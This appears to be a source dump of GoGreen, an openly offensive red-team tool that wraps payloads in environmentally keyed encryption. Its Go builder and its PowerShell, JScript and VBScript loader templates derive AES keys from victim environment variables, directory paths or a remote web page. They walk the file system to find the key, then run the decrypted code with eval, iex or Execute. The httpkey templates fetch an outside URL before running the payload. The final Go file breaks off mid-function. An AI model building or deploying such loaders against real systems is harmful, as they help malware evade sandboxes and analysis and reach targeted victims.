├── data
├── powershell
│ ├── directory.ps1
│ ├── httpkey.ps1
│ ├── envkey.ps1
│ ├── httpkey-test.ps1
│ └── base.ps1
├── jscript
│ ├── autoversion.js
│ ├── envkey.js
│ ├── httpkey.js
│ ├── directory.js
│ ├── httpkey-test.js
│ └── base.js
└── vbscript
│ ├── autoversion.vbs
│ ├── httpkey.vbs
│ ├── directory.vbs
│ ├── envkey.vbs
│ ├── httpkey-test.vbs
│ └── base.vbs
├── README.md
├── examples
├── dironly-config.json
├── httpkey-config.json
└── envonly-config.json
├── config.json
├── lib
├── httpkey.go
└── crypt.go
├── LICENSE
└── gogreen.go
/data/powershell/directory.ps1:
--------------------------------------------------------------------------------
1 | $allPaths += Get-ChildItem "~STARTDIR~" -Recurse -Depth ~DEPTH~ -Force -ErrorAction SilentlyContinue | %{$_.FullName}
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # GoGreen
2 |
3 | ## Deprecated
4 | See the following projects to see where this code has migrated to...
5 |
6 | * https://github.com/leoloobeek/keyring
7 | * https://github.com/leoloobeek/keyserver
8 |
--------------------------------------------------------------------------------
/data/jscript/autoversion.js:
--------------------------------------------------------------------------------
1 | var shell = new ActiveXObject('WScript.Shell');
2 | ver = 'v4.0.30319';
3 | try {
4 | shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
5 | } catch(e) {
6 | ver = 'v2.0.50727';
7 | }
8 | shell.Environment('Process')('COMPLUS_Version') = ver;
--------------------------------------------------------------------------------
/data/vbscript/autoversion.vbs:
--------------------------------------------------------------------------------
1 | Dim ver
2 | ver = "v4.0.30319"
3 | On Error Resume Next
4 | shell.RegRead "HKLM\SOFTWARE\\Microsoft\.NETFramework\v4.0.30319\"
5 | If Err.Number <> 0 Then
6 | ver = "v2.0.50727"
7 | Err.Clear
8 | End If
9 | shell.Environment("Process").Item("COMPLUS_Version") = ver
--------------------------------------------------------------------------------
/data/jscript/envkey.js:
--------------------------------------------------------------------------------
1 | function getCombinations(chars) {
2 | var result = [];
3 | var f = function(prefix, chars) {
4 | for (var i = 0; i < chars.length; i++) {
5 | result.push(prefix + chars[i]);
6 | f(prefix + chars[i], chars.slice(i + 1));
7 | }
8 | }
9 | f('', chars);
10 | return result;
11 | }
12 |
13 | var oEnv = new ActiveXObject('WScript.Shell').Environment("Process");
14 | envCombos = getCombinations([~ENVVARS~]);
--------------------------------------------------------------------------------
/examples/dironly-config.json:
--------------------------------------------------------------------------------
1 | {
2 | "Language": "powershell",
3 | "WSHAutoVersion": "",
4 |
5 | "StartDir": "C:\\Program Files (x86)",
6 | "Depth": "",
7 | "PathKey": "C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\EXCEL.EXE",
8 |
9 | "EnvVars": {},
10 |
11 | "Payload": "Write-Host hello",
12 | "PayloadPath": "",
13 | "MinusBytes": "3",
14 |
15 | "HttpKeyUrl": "",
16 | "HttpKeyUA": "",
17 | "HttpKeyRetry": ""
18 | }
--------------------------------------------------------------------------------
/data/powershell/httpkey.ps1:
--------------------------------------------------------------------------------
1 | For ($i=0; $i -le ~RETRYNUM~; $i++) {
2 | [System.Net.ServicePointManager]::Expect100Continue=0;
3 | $wc = New-Object Net.WebClient
4 | $wc.Headers.Add('User-Agent','~HKUSERAGENT')
5 | $wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy
6 | $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
7 | $resp = $wc.DownloadString('~HKURL~')
8 |
9 | Get-AESDecrypted $resp '~HKPAYLOAD~' '~HKIV~' '~HKPAYLOADHASH~' 0
10 | Start-Sleep 30
11 |
12 | }
--------------------------------------------------------------------------------
/data/powershell/envkey.ps1:
--------------------------------------------------------------------------------
1 | function Get-EnvCombos {
2 | param($chars)
3 | $script:result = @()
4 |
5 | function Get-Combos
6 | {
7 | param($p,$c)
8 | if ($c.Length -eq 0) { break }
9 | For ($i=0; $i -le $c.Length; $i++) {
10 | $script:result += $p + $c[$i]
11 | Get-Combos "$p$($c[$i])" ($c[($i+1)..$c.Length])
12 | }
13 | }
14 | Get-Combos '' $chars -PassThru
15 | return $script:result
16 | }
17 |
18 | $oEnv = [Environment]::GetEnvironmentVariable
19 | $envCombos += Get-EnvCombos @(~ENVVARS~)
--------------------------------------------------------------------------------
/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "Language": "jscript",
3 | "WSHAutoVersion": "Yes",
4 |
5 | "StartDir": "C:\\Program Files (x86)",
6 | "Depth": "2",
7 | "PathKey": "C:\\Program Files (x86)\\Microsoft Office\\root",
8 |
9 | "EnvVars": {
10 | "USERNAME": "username",
11 | "COMPUTERNAME": "",
12 | "USERDNSDOMAIN": "",
13 | "PROCESSOR_ARCHITECTURE": "",
14 | "LOGONSERVER": ""
15 | },
16 |
17 | "Payload": "WScript.Echo(\"Hello\")",
18 | "PayloadPath": "",
19 | "MinusBytes": "3",
20 |
21 | "HttpKeyUrl": "",
22 | "HttpKeyUA": "",
23 | "HttpKeyRetry": ""
24 | }
--------------------------------------------------------------------------------
/data/vbscript/httpkey.vbs:
--------------------------------------------------------------------------------
1 | dim hkPayloadHash, hkPayload
2 | hkPayloadHash = "~HKPAYLOADHASH~"
3 | hkPayload = "~HKPAYLOAD~"
4 | For i = 0 To ~RETRYNUM~
5 | dim wc, resp, key
6 | set wc = CreateObject("MSXML2.XMLHTTP")
7 | wc.Open "GET", "~HKURL~", false
8 | wc.setRequestHeader "User-Agent", "~HKUSERAGENT~"
9 | wc.Send
10 | resp = wc.responseText
11 | key = Mid(getSHA512(resp), 1, 32)
12 | On Error Resume Next
13 | decrypted = decryptAES(hkPayload, key, "~HKIV~")
14 | If Err.Number = 0 Then
15 | If (compareHash(decrypted, hkPayloadHash, 0)) Then
16 | Execute decrypted
17 | WScript.Quit 1
18 | End If
19 | End If
20 | WScript.Sleep 30000
21 | Next
--------------------------------------------------------------------------------
/data/jscript/httpkey.js:
--------------------------------------------------------------------------------
1 | var hkPayloadHash = "~HKPAYLOADHASH~";
2 | var hkPayload = "~HKPAYLOAD~";
3 | for(var i = 0; i < ~RETRYNUM~; i++) {
4 | var xHttp = new ActiveXObject("MSXML2.XMLHTTP");
5 | xHttp.Open("GET", "~HKURL~", false);
6 | xHttp.setRequestHeader("User-Agent", "~HKUSERAGENT~");
7 | xHttp.Send();
8 | response = xHttp.responseText;
9 | var key = getSHA512(response);
10 | key = key.substring(0,32);
11 | try {
12 | var decrypted = decryptAES(hkPayload, key, "~HKIV~")
13 | if(compareHash(decrypted, hkPayloadHash, 0)) {
14 | eval(decrypted);
15 | WScript.Quit(1);
16 | }
17 | }
18 | catch(err) {}
19 | WScript.Sleep(30000);
20 | }
21 |
--------------------------------------------------------------------------------
/examples/httpkey-config.json:
--------------------------------------------------------------------------------
1 | {
2 | "Language": "jscript",
3 | "WSHAutoVersion": "Yes",
4 |
5 | "StartDir": "",
6 | "Depth": "",
7 | "PathKey": "",
8 |
9 | "EnvVars": {
10 | "USERNAME": "username",
11 | "COMPUTERNAME": "",
12 | "USERDNSDOMAIN": "domain",
13 | "PROCESSOR_ARCHITECTURE": "amd64",
14 | "LOGONSERVER": ""
15 | },
16 |
17 | "Payload": "WScript.Echo(\"Hello\")",
18 | "PayloadPath": "",
19 | "MinusBytes": "3",
20 |
21 | "HttpKeyUrl": "https://site.com/page-you-control",
22 | "HttpKeyUA": "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)",
23 | "HttpKeyRetry": "300"
24 | }
--------------------------------------------------------------------------------
/data/powershell/httpkey-test.ps1:
--------------------------------------------------------------------------------
1 | function Get-SHA512Hash {
2 | param($b)
3 | $sha512 = New-Object System.Security.Cryptography.SHA512CryptoServiceProvider
4 | return [System.BitConverter]::ToString($sha512.ComputeHash([System.Text.Encoding]::ASCII.GetBytes($b))).ToLower() -replace "-",""
5 | }
6 | [System.Net.ServicePointManager]::Expect100Continue=0;
7 | $wc = New-Object Net.WebClient
8 | $wc.Headers.Add('User-Agent','~HKUSERAGENT')
9 | $wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy
10 | $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
11 | $resp = $wc.DownloadString('~HKURL~')
12 |
13 | $key = (Get-SHA512Hash $resp)[0..31] -join ""
14 |
15 | Write-Host "Initial HttpKey : ~HTTPKEY~"
16 | Write-Host "HttpKey Obtained : $key"
17 |
--------------------------------------------------------------------------------
/lib/httpkey.go:
--------------------------------------------------------------------------------
1 | package lib
2 |
3 | import (
4 | "io/ioutil"
5 | "net/http"
6 | )
7 |
8 | // GenerateHttpKey reaches out to url, hashes the body and returns
9 | // the sha512 hash (first 32 chars)
10 | func GenerateHttpKey(url, userAgent string) (string, error) {
11 | client := &http.Client{}
12 |
13 | req, err := http.NewRequest("GET", url, nil)
14 | if err != nil {
15 | return "", err
16 | }
17 |
18 | req.Header.Set("User-Agent", userAgent)
19 |
20 | resp, err := client.Do(req)
21 | if err != nil {
22 | return "", err
23 | }
24 |
25 | defer resp.Body.Close()
26 | result, err := ioutil.ReadAll(resp.Body)
27 | if err != nil {
28 | return "", err
29 | }
30 |
31 | httpKey := GenerateSHA512(string(result))
32 | return httpKey[:32], nil
33 |
34 | }
35 |
--------------------------------------------------------------------------------
/data/jscript/directory.js:
--------------------------------------------------------------------------------
1 | function WalkOS(allPaths,fso,folder,depth) {
2 | var folEnum = new Enumerator(folder.SubFolders);
3 | for (;!folEnum.atEnd(); folEnum.moveNext()) {
4 | allPaths.push(fso.GetAbsolutePathName(folEnum.item()));
5 | if(depth > 0) {
6 | WalkOS(allPaths,fso,folEnum.item(),(depth-1));
7 | }
8 | }
9 | var files = folder.Files;
10 | var fc = new Enumerator(folder.Files);
11 | for (;!fc.atEnd(); fc.moveNext()) {
12 | allPaths.push(fso.GetAbsolutePathName(fc.item()));
13 | }
14 | }
15 | var startDir = "~STARTDIR~";
16 | try {
17 | var objFSO = new ActiveXObject("Scripting.FileSystemObject");
18 | var startDirObject = objFSO.GetFolder(startDir);
19 | WalkOS(allPaths,objFSO,startDirObject,~DEPTH~);
20 | }
21 | catch(err) {}
--------------------------------------------------------------------------------
/data/vbscript/directory.vbs:
--------------------------------------------------------------------------------
1 | Function WalkOS(allPaths,fso,folder,depth)
2 | dim files
3 | For Each Subfolder In folder.SubFolders
4 | allPaths.add(fso.GetAbsolutePathName(Subfolder))
5 | If depth > 0 Then
6 | On Error Resume Next
7 | WalkOS allPaths,fso,Subfolder,(depth-1)
8 | If Err.Number <> 0 Then
9 | return
10 | End If
11 | End If
12 | Next
13 | For Each file In folder.Files
14 | allPaths.add(fso.GetAbsolutePathName(file))
15 | Next
16 | End Function
17 |
18 | dim startDir, allPaths, objFSO, startDirObject
19 | startDir = "~STARTDIR~"
20 | Set objFSO = CreateObject("Scripting.FileSystemObject")
21 |
22 | Set startDirObject = objFSO.GetFolder(startDir)
23 | WalkOS allPaths,objFSO,startDirObject,~DEPTH~
--------------------------------------------------------------------------------
/data/vbscript/envkey.vbs:
--------------------------------------------------------------------------------
1 | set oEnv = CreateObject("WScript.Shell").Environment("Process")
2 | chars = array (~ENVVARS~)
3 | getCombinations "", chars
4 |
5 | Function Slice(arr, starting, ending)
6 | Dim out_array
7 | If Right(TypeName(arr), 2) = "()" Then
8 | out_array = Array()
9 | ReDim Preserve out_array(ending - starting)
10 | For index = starting To ending
11 | out_array(index - starting) = arr(index)
12 | Next
13 | Else
14 | Exit Function
15 | End If
16 | Slice = out_array
17 | End Function
18 | Function getCombinations(prefix, chars)
19 | For index = 0 To ubound(chars)
20 | envCombos.add prefix + chars(index)
21 | getCombinations (prefix + chars(index)), Slice(chars, index + 1, ubound(chars))
22 | Next
23 | End Function
--------------------------------------------------------------------------------
/examples/envonly-config.json:
--------------------------------------------------------------------------------
1 | {
2 | "Language": "jscript",
3 | "WSHAutoVersion": "Yes",
4 |
5 | "StartDir": "",
6 | "Depth": "",
7 | "PathKey": "",
8 |
9 | "EnvVars": {
10 | "ALLUSERSPROFILE": "",
11 | "APPDATA": "",
12 | "COMPUTERNAME": "COMPUTER",
13 | "HOMEDRIVE": "",
14 | "HOMEPATH": "",
15 | "LOGONSERVER": "",
16 | "NUMBER_OF_PROCESSORS": "",
17 | "OS": "",
18 | "PROCESSOR_ARCHITECTURE": "AMD64",
19 | "USERDOMAIN": "",
20 | "USERDOMAIN_ROAMINGPROFILE": "",
21 | "USERNAME": "leo",
22 | "USERPROFILE": "",
23 | "windir": ""
24 | },
25 |
26 | "Payload": "",
27 | "PayloadPath": "exploit.js",
28 | "MinusBytes": "3",
29 |
30 | "HttpKeyUrl": "",
31 | "HttpKeyUA": "",
32 | "HttpKeyRetry": ""
33 | }
--------------------------------------------------------------------------------
/data/jscript/httpkey-test.js:
--------------------------------------------------------------------------------
1 | var shell = new ActiveXObject('WScript.Shell');
2 | ver = 'v4.0.30319';
3 | try {
4 | shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
5 | } catch(e) {
6 | ver = 'v2.0.50727';
7 | }
8 | shell.Environment('Process')('COMPLUS_Version') = ver;
9 | function binToHex(binary) {
10 | var dom = new ActiveXObject("Microsoft.XMLDOM");
11 | var el = dom.createElement("tmp");
12 | el.dataType = "bin.hex";
13 | el.nodeTypedValue = binary;
14 | el.removeAttribute("dt:dt");
15 | return el.nodeTypedValue
16 | }
17 | function getSHA512(bytes) {
18 | var sha512 = new ActiveXObject("System.Security.Cryptography.SHA512Managed");
19 | var text = new ActiveXObject("System.Text.ASCIIEncoding");
20 | var result = binToHex(sha512.ComputeHash_2((text.GetBytes_4(bytes))));
21 | return result
22 | }
23 |
24 | var xHttp = new ActiveXObject("MSXML2.XMLHTTP");
25 | xHttp.Open("GET", "~HKURL~", false);
26 | xHttp.setRequestHeader("User-Agent", "~HKUSERAGENT~");
27 | xHttp.Send();
28 | response = xHttp.responseText;
29 | var key = getSHA512(response);
30 | key = key.substring(0,32);
31 |
32 | WScript.Echo("Initial HttpKey : ~HTTPKEY~");
33 | WScript.Echo("HttpKey Obtained : " + key);
34 |
--------------------------------------------------------------------------------
/data/vbscript/httpkey-test.vbs:
--------------------------------------------------------------------------------
1 | Dim ver
2 | ver = "v4.0.30319"
3 | On Error Resume Next
4 | shell.RegRead "HKLM\SOFTWARE\\Microsoft\.NETFramework\v4.0.30319\"
5 | If Err.Number <> 0 Then
6 | ver = "v2.0.50727"
7 | Err.Clear
8 | End If
9 | shell.Environment("Process").Item("COMPLUS_Version") = ver
10 | Function binToHex(binary)
11 | dim dom
12 | set dom = CreateObject("Microsoft.XMLDOM")
13 | dom.loadXML("")
14 | dom.documentElement.dataType = "bin.hex"
15 | dom.documentElement.nodeTypedValue = binary
16 | dom.documentElement.removeAttribute("dt:dt")
17 | binToHex = dom.documentElement.nodeTypedValue
18 | End Function
19 | function getSHA512(bytes)
20 | dim sha512, text
21 | set sha512 = CreateObject("System.Security.Cryptography.SHA512Managed")
22 | set text = CreateObject("System.Text.ASCIIEncoding")
23 | getSHA512 = binToHex(sha512.ComputeHash_2((text.GetBytes_4(bytes))))
24 | End Function
25 | dim wc, resp, key
26 | set wc = CreateObject("MSXML2.XMLHTTP")
27 | wc.Open "GET", "~HKURL~", false
28 | wc.setRequestHeader "User-Agent", "~HKUSERAGENT~"
29 | wc.Send
30 | resp = wc.responseText
31 | key = Mid(getSHA512(resp), 1, 32)
32 |
33 | WScript.Echo "Initial HttpKey : ~HTTPKEY~"
34 | WScript.Echo "HttpKey Obtained : " & key
35 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2017, Leo Loobeek
4 | All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | * Redistributions of source code must retain the above copyright notice, this
10 | list of conditions and the following disclaimer.
11 |
12 | * Redistributions in binary form must reproduce the above copyright notice,
13 | this list of conditions and the following disclaimer in the documentation
14 | and/or other materials provided with the distribution.
15 |
16 | * Neither the name of the copyright holder nor the names of its
17 | contributors may be used to endorse or promote products derived from
18 | this software without specific prior written permission.
19 |
20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
30 |
--------------------------------------------------------------------------------
/data/powershell/base.ps1:
--------------------------------------------------------------------------------
1 | function Get-Environmental
2 | {
3 | function Get-SHA512Hash {
4 | param($b)
5 | return [System.BitConverter]::ToString($script:sha512.ComputeHash([System.Text.Encoding]::ASCII.GetBytes($b))).ToLower() -replace "-",""
6 | }
7 | function Compare-SHA512Hashes {
8 | param($a, $b, $m)
9 | $end = $a.Length - $m - 1
10 | if((Get-SHA512Hash $($a[0..$end] -join "")) -eq $b) {
11 | return $true
12 | }
13 | else { return $false }
14 | }
15 | function Get-AESDecrypted {
16 | param($b,$c,$i,$h,$m)
17 | $e=[System.Text.Encoding]::ASCII
18 | $bytes=[System.Convert]::FromBase64String($c)
19 | try {
20 | $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
21 | }
22 | catch {
23 | $AES=New-Object System.Security.Cryptography.RijndaelManaged;
24 | }
25 | $AES.Mode = "CBC"
26 | $AES.Key = $e.GetBytes((Get-SHA512Hash $b)[0..31] -join "")
27 | $AES.IV = [System.Convert]::FromBase64String($i)
28 | try {
29 | $decrypted = $AES.CreateDecryptor().TransformFinalBlock($bytes, 0, $bytes.Length)
30 | }
31 | catch { return }
32 | $result = $e.GetString($decrypted)
33 | if($(Compare-SHA512Hashes $result $h $m)) {
34 | iex($result)
35 | break
36 | }
37 |
38 | }
39 | function Test-Inputs {
40 | param($a,$b)
41 | $a | ForEach-Object {
42 | $key = "$_$b"
43 | Get-AESDecrypted $key.ToLower() "~ENCRYPTEDBASE64~" "~AESIVBASE64~" "~PAYLOADHASH~" ~MINUSBYTES~
44 | }
45 | }
46 | $script:sha512 = New-Object System.Security.Cryptography.SHA512CryptoServiceProvider
47 | $allPaths = @("")
48 | $envCombos = @("")
49 |
50 |
51 | ~WALKOS~
52 | ~ENVVAR~
53 |
54 | $allPaths | ForEach-Object {
55 | Test-Inputs $envCombos $_
56 | }
57 | }
--------------------------------------------------------------------------------
/lib/crypt.go:
--------------------------------------------------------------------------------
1 | package lib
2 |
3 | import (
4 | "bytes"
5 | "crypto/aes"
6 | "crypto/cipher"
7 | "crypto/rand"
8 | "crypto/sha512"
9 | "encoding/base64"
10 | "encoding/hex"
11 | "errors"
12 | "io"
13 | )
14 |
15 | // GenerateSHA512 takes a string, generates a SHA512 hash
16 | // and sends back as hex string
17 | func GenerateSHA512(s string) string {
18 | sha := sha512.New()
19 | sha.Write([]byte(s))
20 |
21 | return hex.EncodeToString(sha.Sum(nil))
22 | }
23 |
24 | // AESEncrypt https://golang.org/src/crypto/cipher/example_test.go
25 | // Returns base64 encoded ciphertext and base64 encoded IV
26 | // Not returning both (iv:ciphertext) as includes too much js/vbs to detach
27 | func AESEncrypt(key, text []byte) (string, string, error) {
28 | plaintext, err := pkcs7Pad(text)
29 | if err != nil {
30 | return "", "", err
31 | }
32 |
33 | if len(plaintext)%aes.BlockSize != 0 {
34 | return "", "", errors.New("[!] AESEncrypt: plaintext is not a multiple of the block size")
35 | }
36 |
37 | block, err := aes.NewCipher(key)
38 | if err != nil {
39 | return "", "", err
40 | }
41 |
42 | ciphertext := make([]byte, aes.BlockSize+len(plaintext))
43 | iv := ciphertext[:aes.BlockSize]
44 | if _, err := io.ReadFull(rand.Reader, iv); err != nil {
45 | panic(err)
46 | }
47 |
48 | mode := cipher.NewCBCEncrypter(block, iv)
49 | mode.CryptBlocks(ciphertext[aes.BlockSize:], plaintext)
50 |
51 | return Base64Encode(ciphertext[aes.BlockSize:]), Base64Encode(iv), nil
52 | }
53 |
54 | // https://github.com/go-web/tokenizer/blob/master/pkcs7.go
55 | func pkcs7Pad(b []byte) ([]byte, error) {
56 | if aes.BlockSize <= 0 {
57 | return nil, errors.New("[!] pkcs7Pad: invalid blocksize")
58 | }
59 | if b == nil || len(b) == 0 {
60 | return nil, errors.New("[!] pkcs7Pad: invalid PKCS7 data (empty or not padded)")
61 | }
62 | n := aes.BlockSize - (len(b) % aes.BlockSize)
63 | pb := make([]byte, len(b)+n)
64 | copy(pb, b)
65 | copy(pb[len(b):], bytes.Repeat([]byte{byte(n)}, n))
66 | return pb, nil
67 | }
68 |
69 | // Base64Encode basic wrapper around base64 encoding
70 | func Base64Encode(data []byte) string {
71 | sEnc := base64.StdEncoding.EncodeToString(data)
72 | return sEnc
73 | }
74 |
--------------------------------------------------------------------------------
/data/jscript/base.js:
--------------------------------------------------------------------------------
1 | ~AUTOVERSION~
2 | function decryptAES(decryptMe, key, iv) {
3 | var aes = new ActiveXObject("System.Security.Cryptography.RijndaelManaged");
4 | var a = new ActiveXObject("System.Text.ASCIIEncoding");
5 | aes.Mode = 1; //CBC
6 | aes.Padding = 2; //PKCS7
7 | aes.BlockSize = 128;
8 | aes.KeySize = 256;
9 | aes.IV = decodeBase64(iv);
10 | aes.Key = a.GetBytes_4(key);
11 |
12 | var encBytes = decodeBase64(decryptMe);
13 | var encLen = (a.GetByteCount_2(decryptMe) / 4) * 3;
14 | encLen = encLen - (decryptMe.split("=").length - 1)
15 |
16 | var decrypted = aes.CreateDecryptor().TransformFinalBlock(encBytes,0,encLen);
17 | return a.GetString(decrypted);
18 | }
19 | function decodeBase64(base64) {
20 | var dm = new ActiveXObject("Microsoft.XMLDOM");
21 | var el = dm.createElement("tmp");
22 | el.dataType = "bin.base64";
23 | el.text = base64
24 | return el.nodeTypedValue
25 | }
26 | function binToHex(binary) {
27 | var dom = new ActiveXObject("Microsoft.XMLDOM");
28 | var el = dom.createElement("tmp");
29 | el.dataType = "bin.hex";
30 | el.nodeTypedValue = binary;
31 | el.removeAttribute("dt:dt");
32 | return el.nodeTypedValue
33 | }
34 | function getSHA512(bytes) {
35 | var sha512 = new ActiveXObject("System.Security.Cryptography.SHA512Managed");
36 | var text = new ActiveXObject("System.Text.ASCIIEncoding");
37 | var result = binToHex(sha512.ComputeHash_2((text.GetBytes_4(bytes))));
38 | return result
39 | }
40 | function compareHash(decrypted, hash, minusBytes) {
41 | var sha512 = new ActiveXObject("System.Security.Cryptography.SHA512Managed");
42 | var text = new ActiveXObject("System.Text.ASCIIEncoding");
43 | var newHash = getSHA512(decrypted.substring(0, (decrypted.length - minusBytes)));
44 | if(newHash == hash) {
45 | return true;
46 | }
47 | else {
48 | return false;
49 | }
50 | }
51 | function tryKeyCombos(combos, path, encrypted, payloadHash) {
52 | for(k = 0; k < combos.length; k++) {
53 | var key = combos[k].toLowerCase() + path.toLowerCase();
54 |
55 | key = getSHA512(key);
56 | key = key.substring(0,32);
57 | try {
58 | var decrypted = decryptAES(encrypted, key, "~AESIVBASE64~")
59 | if(compareHash(decrypted, payloadHash, ~MINUSBYTES~)) {
60 | eval(decrypted);
61 | WScript.Quit(1);
62 | }
63 | }
64 | catch(err) {}
65 | }
66 | return ""
67 | }
68 |
69 | var allPaths = [], envCombos = [];
70 | allPaths.push("");
71 | envCombos.push("");
72 |
73 | ~WALKOS~
74 | ~ENVVAR~
75 |
76 | for(i = 0; i < allPaths.length; i++) {
77 | tryKeyCombos(envCombos, allPaths[i], "~ENCRYPTEDBASE64~", "~PAYLOADHASH~")
78 | }
--------------------------------------------------------------------------------
/data/vbscript/base.vbs:
--------------------------------------------------------------------------------
1 | ~AUTOVERSION~
2 | Function decryptAES(decryptMe, key, iv)
3 | dim aes, a, encBytes, encLen, decrypted, numPads
4 | set aes = CreateObject("System.Security.Cryptography.RijndaelManaged")
5 | set a = CreateObject("System.Text.ASCIIEncoding")
6 | aes.Mode = 1
7 | aes.Padding = 2
8 | aes.BlockSize = 128
9 | aes.KeySize = 256
10 | aes.IV = decodeBase64(iv)
11 | aes.Key = a.GetBytes_4(key)
12 |
13 | numPads = len(decryptMe) - len(replace(decryptMe, "=", ""))
14 | encLen = ((a.GetByteCount_2(decryptMe) / 4) * 3) - numPads
15 |
16 | decryptAES = a.GetString(aes.CreateDecryptor().TransformFinalBlock(decodeBase64(decryptMe),0,encLen))
17 | End Function
18 | Function decodeBase64(base64)
19 | dim dm, el
20 | set dm = CreateObject("Microsoft.XMLDOM")
21 | set el = dm.createElement("tmp")
22 | el.dataType = "bin.base64"
23 | el.text = base64
24 | decodeBase64 = el.nodeTypedValue
25 | End Function
26 | Function binToHex(binary)
27 | dim dom
28 | set dom = CreateObject("Microsoft.XMLDOM")
29 | dom.loadXML("")
30 | dom.documentElement.dataType = "bin.hex"
31 | dom.documentElement.nodeTypedValue = binary
32 | dom.documentElement.removeAttribute("dt:dt")
33 | binToHex = dom.documentElement.nodeTypedValue
34 | End Function
35 | function getSHA512(bytes)
36 | dim sha512, text
37 | set sha512 = CreateObject("System.Security.Cryptography.SHA512Managed")
38 | set text = CreateObject("System.Text.ASCIIEncoding")
39 | getSHA512 = binToHex(sha512.ComputeHash_2((text.GetBytes_4(bytes))))
40 | End Function
41 | function compareHash(decrypted, hash, minusBytes)
42 | dim sha512, text, newHash
43 | set sha512 = CreateObject("System.Security.Cryptography.SHA512Managed")
44 | set text = CreateObject("System.Text.ASCIIEncoding")
45 | newHash = getSHA512(Mid(decrypted, 1, (len(decrypted) - minusBytes)))
46 | If newHash = hash Then
47 | compareHash = True
48 | Else
49 | compareHash = False
50 | End If
51 | End Function
52 | Function tryKeyCombos(combos, path, encrypted, payloadHash)
53 | For k = 0 To combos.Count
54 | dim key, decrypted
55 | key = LCase(combos.Item(k) + path)
56 | sub_key = Mid(getSHA512(key), 1, 32)
57 | On Error Resume Next
58 | decrypted = decryptAES(encrypted, sub_key, "~AESIVBASE64~")
59 | If Err.Number = 0 Then
60 | If (compareHash(decrypted, payloadHash, ~MINUSBYTES~)) Then
61 | Execute decrypted
62 | WScript.Quit 1
63 | End If
64 | End If
65 | Next
66 | End Function
67 |
68 | Set allPaths = CreateObject("System.Collections.ArrayList")
69 | Set envCombos = CreateObject("System.Collections.ArrayList")
70 | allPaths.add ""
71 | envCombos.add ""
72 |
73 | ~WALKOS~
74 | ~ENVVAR~
75 | For index = 0 To allPaths.Count
76 | tryKeyCombos envCombos, allPaths.Item(index), "~ENCRYPTEDBASE64~", "~PAYLOADHASH~"
77 | Next
--------------------------------------------------------------------------------
/gogreen.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "bytes"
5 | "encoding/json"
6 | "errors"
7 | "flag"
8 | "fmt"
9 | "io/ioutil"
10 | "os"
11 | "strconv"
12 | "strings"
13 |
14 | "github.com/leoloobeek/GoGreen/lib"
15 | )
16 |
17 | func main() {
18 | conf := flag.String("config", "", "Config file to read. Default ./config.json.")
19 | flagHttpKey := flag.String("httpkey", "", "Manual HttpKey to use. GoGreen will retrieve it's own by default.")
20 | flag.Parse()
21 | config := parseConfig(*conf)
22 | if config == nil {
23 | return
24 | }
25 | payloadWriter := setupPayloadWriter(config.Language)
26 |
27 | if payloadWriter == nil {
28 | fmt.Println("[!] Specified language in config.json not supported")
29 | return
30 | }
31 |
32 | // get payload from config or file
33 | payload := config.Payload
34 | if payload == "" {
35 | pFile, err := readFile(config.PayloadPath)
36 | if err != nil {
37 | fmt.Printf("[!] Error reading payload from %s\n", config.PayloadPath)
38 | return
39 | }
40 | payload = string(pFile)
41 | if payload == "" {
42 | fmt.Printf("[!] Payload file %s was empty", config.PayloadPath)
43 | return
44 | }
45 | }
46 |
47 | // Apply httpkey here (if needed)
48 | httpKey := ""
49 | if config.HttpKeyUrl != "" {
50 | var err error
51 | payload, httpKey, err = httpKeyCode(*flagHttpKey, payload, config, payloadWriter)
52 | if err != nil {
53 | return
54 | }
55 | }
56 |
57 | // generate payload hash
58 | mb, err := strconv.Atoi(config.MinusBytes)
59 | if (err != nil) || (mb > len(payload) || mb < 0) {
60 | fmt.Println("[!] MinusBytes invalid. Is it less than 0 or greater than payload size? Setting to 1...")
61 | config.MinusBytes = "1"
62 | mb = 1
63 | }
64 | payloadHash := lib.GenerateSHA512(payload[:(len(payload) - mb)])
65 |
66 | // generate key
67 | if config.StartDir == "" {
68 | config.PathKey = ""
69 | }
70 | key, envVarOrder := buildKey(config.EnvVars, config.PathKey)
71 |
72 | // read in base code
73 | result, err := baseCode(config.WSHAutoVersion, payloadWriter)
74 | if err != nil {
75 | return
76 | }
77 |
78 | // if a StartDir was specified in config.json, add in directory walking
79 | result, err = directoryCode(result, config.StartDir, config.Depth, payloadWriter)
80 | if err != nil {
81 | return
82 | }
83 |
84 | // set up env vars code
